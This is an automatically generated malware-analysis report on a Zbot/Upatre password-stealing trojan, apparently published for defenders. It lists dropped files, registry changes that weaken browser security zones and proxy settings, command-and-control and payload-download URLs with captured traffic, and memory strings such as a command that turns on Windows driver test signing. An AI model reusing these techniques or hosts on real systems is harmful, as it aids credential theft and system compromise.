Trojan-PSW.Win32.Zbot.4_c573865eae

by malwarelabrobot on June 25th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Kazy.389926 (B) (Emsisoft), Gen:Variant.Kazy.389926 (AdAware), Trojan-PSW.Win32.Zbot.4.FD, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: c573865eaede3634864c7a1bfdc6a912
SHA1: a7398ebfb2f59a5b6252fe9ec78323bb78bbd2a9
SHA256: 32825d6e28c17e771764e5cff492f53331a744dbb5a1e3dceb9529306da237ad
SSDeep: 384:HATPUEREP2wIV2rMH9p50tvGmJA3ZgOBOOCQ9BkQuEFZ:gZEP/IVyMdp tvGmJA3ZgZnQfZZ
Size: 23014 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: hxxp://www.goforfiles.com/
Created at: 2005-08-25 00:55:16
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

mlose.exe:1056
%original file name%.exe:1456
opera_autoupdater.exe:1200

The Trojan-PSW injects its code into the following process(es):

roguir.exe:1084
Explorer.EXE:1684

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process roguir.exe:1084 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%System%\drivers\13c40f.sys (745 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (6272 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (6580 bytes)

The process mlose.exe:1056 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Olyxeg\roguir.exe (4827 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KMO1F7C.bat (173 bytes)

The process %original file name%.exe:1456 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\opera_autoupdater.exe (23 bytes)

The process opera_autoupdater.exe:1200 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\mlose.exe (3715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\0403UKc[1].elf (1799 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)

Registry activity

The process roguir.exe:1084 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Wuokambiaq]
"4fgii8i" = " lBGJ45fYhcV JcKHGU=縞"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 12 73 65 F0 3F 70 B6 08 FC 93 6D 68 D2 D3 45"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process mlose.exe:1056 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "05 94 1B 13 25 A6 6A C8 D5 E7 95 4D 6F C2 FC 99"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1456 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C2 3C 29 89 F5 A4 BE 1E 58 1C 4A 99 D6 7D 66 AD"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"opera_autoupdater.exe" = "opera_autoupdater"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process opera_autoupdater.exe:1200 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"mlose.exe" = "mlose"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 9B E0 9D DB 58 39 25 1A F0 31 62 AC D6 70 D7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
1fe01bf0357e8f40244e87a521e319c7 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\opera_autoupdater.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 1652 2048 3.52041 0d5b078af2e5ff8411b22f541d12ff63
.rdata 8192 896 1024 2.8164 38c698ff3738e5c4265e0cb20be36f70
.data 12288 2160 2560 4.63452 8f7d798669c92c8dfc1b5fb8ce8c149a
.rsrc 16384 11504 11776 3.09398 c14878b832c03d2374e1f989b3273ca4
.reloc 28672 164 512 0.832292 a63a54b6b1497505033235ae487f5e57

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://thepristinehorizon.com/images/0403UKc.elf 216.157.85.89
hxxp://maerholst.com/1/?s=0&v=170393861 192.243.126.53
hxxp://maerholst.com/1/?s=1&v=170393861 192.243.126.53
hxxp://maerholst.com/1/?s=2&v=170393861 192.243.126.53
hxxp://maerholst.com/1/?s=4&v=170393861 192.243.126.53
hxxp://maerholst.com/1/?s=3&v=170393861 192.243.126.53
hxxp://maerholst.com/1/?s=5&v=170393861 192.243.126.53


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Downloader (P2P Zeus dropper UA)
ET TROJAN Upatre Binary Download Jan 02 2014

Traffic

GET /1/?s=1&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:34 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /1/?s=5&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:41 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /1/?s=2&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:34 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /images/0403UKc.elf HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: thepristinehorizon.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 08:30:31 GMT
Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Tue, 04 Mar 2014 08:01:31 GMT
ETag: "440923-7e8ee-4f3c34fe95e48"
Accept-Ranges: bytes
Content-Length: 518382
Content-Type: text/plain
ZZP..MN/.fNa..N...~.?.N...cc..JZ...b..Qbz.N..;o.......&...n...)...NB..
 ...nb..n...n...n&..n..v*...Ch...b..v....,..M`.5.a...&..Le..J`...,[.A.
..Ne...J..Lm..I...I0..&c...2..Nb..Jb(.....]...Ob..Gb..Fb..>cB..R@.^
?.....w........NgB.Mb..D...Dc..Nb.w[...M`.."j..rc.FG....Br.N...M?..NL.
.6.@..|.r%...,`..Nb..`...:..^N.O2p...(...Ib...LC.N.Y.OZ...k68G...v....
`...^.....p.c..q"..qb..M]..N....d..N.<.Fb.-N[.J. ..vb..}...&...M..V
[email protected] ..w\.L.C.6..1K#...=..Z..}.b.}.r..V....Y..........e.
..Jva.K.8.A.B*.h.5A...N"C.OmE.Nc.......? .N?...B...`t6K....1?.;v?.^Q..
N?....M..c.......w...rK........r...1..a.N......u.j<.6... .K...."./&
lt;.N....".} .(..>a..?..N........j..R....q..Fb..H....h ..h..;...$c.
.^.....@.. .5Mn?.F..}....u..r.c...o..c[..MB.6OY..A.o.o.......I.Nb.a`.o
IM.q..b.Of....C.....`e.....I2(..Xb..Y...f...M......#l..o1..Z....1 .Mq.
..R......w?..G..~...vD[...c."..a...)._.....`....".j ......X..F. ..p.u.
...IQ..o...^B.r...{.v...N!..k..N"C2V..:nz..l  .Mu...........?<Rk..U
kb<.3......z.......uh....D../D..;...;.(.wc...Y;....VH41UH..>.D..
[email protected]....'......}. ..DM.....Jb.2.)..O..}.......(.aK..[.v.......vC~ .-d
...x...s!.....K..{N.l..I...2..&.......^........'...Q?.........K...Mn..
LO!....tw....m.r...tw"A...@.....;z&..z.fm...w...wd..w......rL.Q. ..{R]
.}....d....b."........\t..[....q...........r........0......Nt.O[..sr..
[email protected]...'......:e...C.wZ' . bK.RY..H.B._HK.V.?6N...@1(..2.ggb........
..$b.../.7~K......OP.O.j..oyw.N1..^qp.Nep..SM...(8g..W.r..Db..:F.....6
.......6^.(.f..6F..us.a.Nc..K...FbA..n....1..wT`. ....._.f.......n
<<< skipped >>>


GET /1/?s=0&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:35 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /1/?s=4&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:35 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /1/?s=0&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:34 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /1/?s=1&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:35 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...



GET /1/?s=3&v=170393861 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: maerholst.com
Connection: Close


HTTP/1.1 403 Forbidden
Date: Fri, 20 Jun 2014 08:30:41 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Length: 283
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>403 Forbidden</title>.</head><
body>.<h1>Forbidden</h1>.<p>You don't have permis
sion to access /1/.on this server.</p>.<hr>.<address>
;Apache/2.2.22 (Debian) Server at maerholst.com Port 80</address>
;.</body></html>...

The Trojan-PSW connects to the servers at the folowing location(s):

roguir.exe_1084_rwx_003B0000_00001000:

kernel32.dll

roguir.exe_1084_rwx_00A40000_00006000:

PSSSSSSh
bcdedit.exe -set TESTSIGNING ON
%s\drivers\%s.sys
\\.\NtSecureSys
ntdll.dll
svchost.exe
EUDC\%d
KeDelayExecutionThread
WinExec
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
RegCloseKey
RegFlushKey
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
msvcrt.dll

roguir.exe_1084_rwx_010D0000_0006D000:

.text
`.data
.idata
@.reloc
PSSSSSSh
bcdedit.exe -set TESTSIGNING ON
%s\drivers\%s.sys
\\.\NtSecureSys
ntdll.dll
svchost.exe
EUDC\%d
KeDelayExecutionThread
WinExec
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
RegCloseKey
RegFlushKey
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
msvcrt.dll
Invalid parameter passed to C runtime function.
0123456789
\*%Sa
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
#ÛY_
5>(4 6 3
>5#? = 8
*:4.::,|
y.dRR
&*("?#=1
http://maerholst.com/1/?s=%u&v=%u
REPORT
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
HTTP/1.1
http://www.google.com/
http://www.bing.com/
t.Ht$HHt
w%fkN
L$$
rnÊ
m9.td
McaG%n%c
zcÁ
MsgWaitForMultipleObjects
GetKeyboardState
RegCreateKeyExW
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegEnumKeyExW
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
UrlUnescapeA
PathIsURLW
SHLWAPI.dll
ShellExecuteW
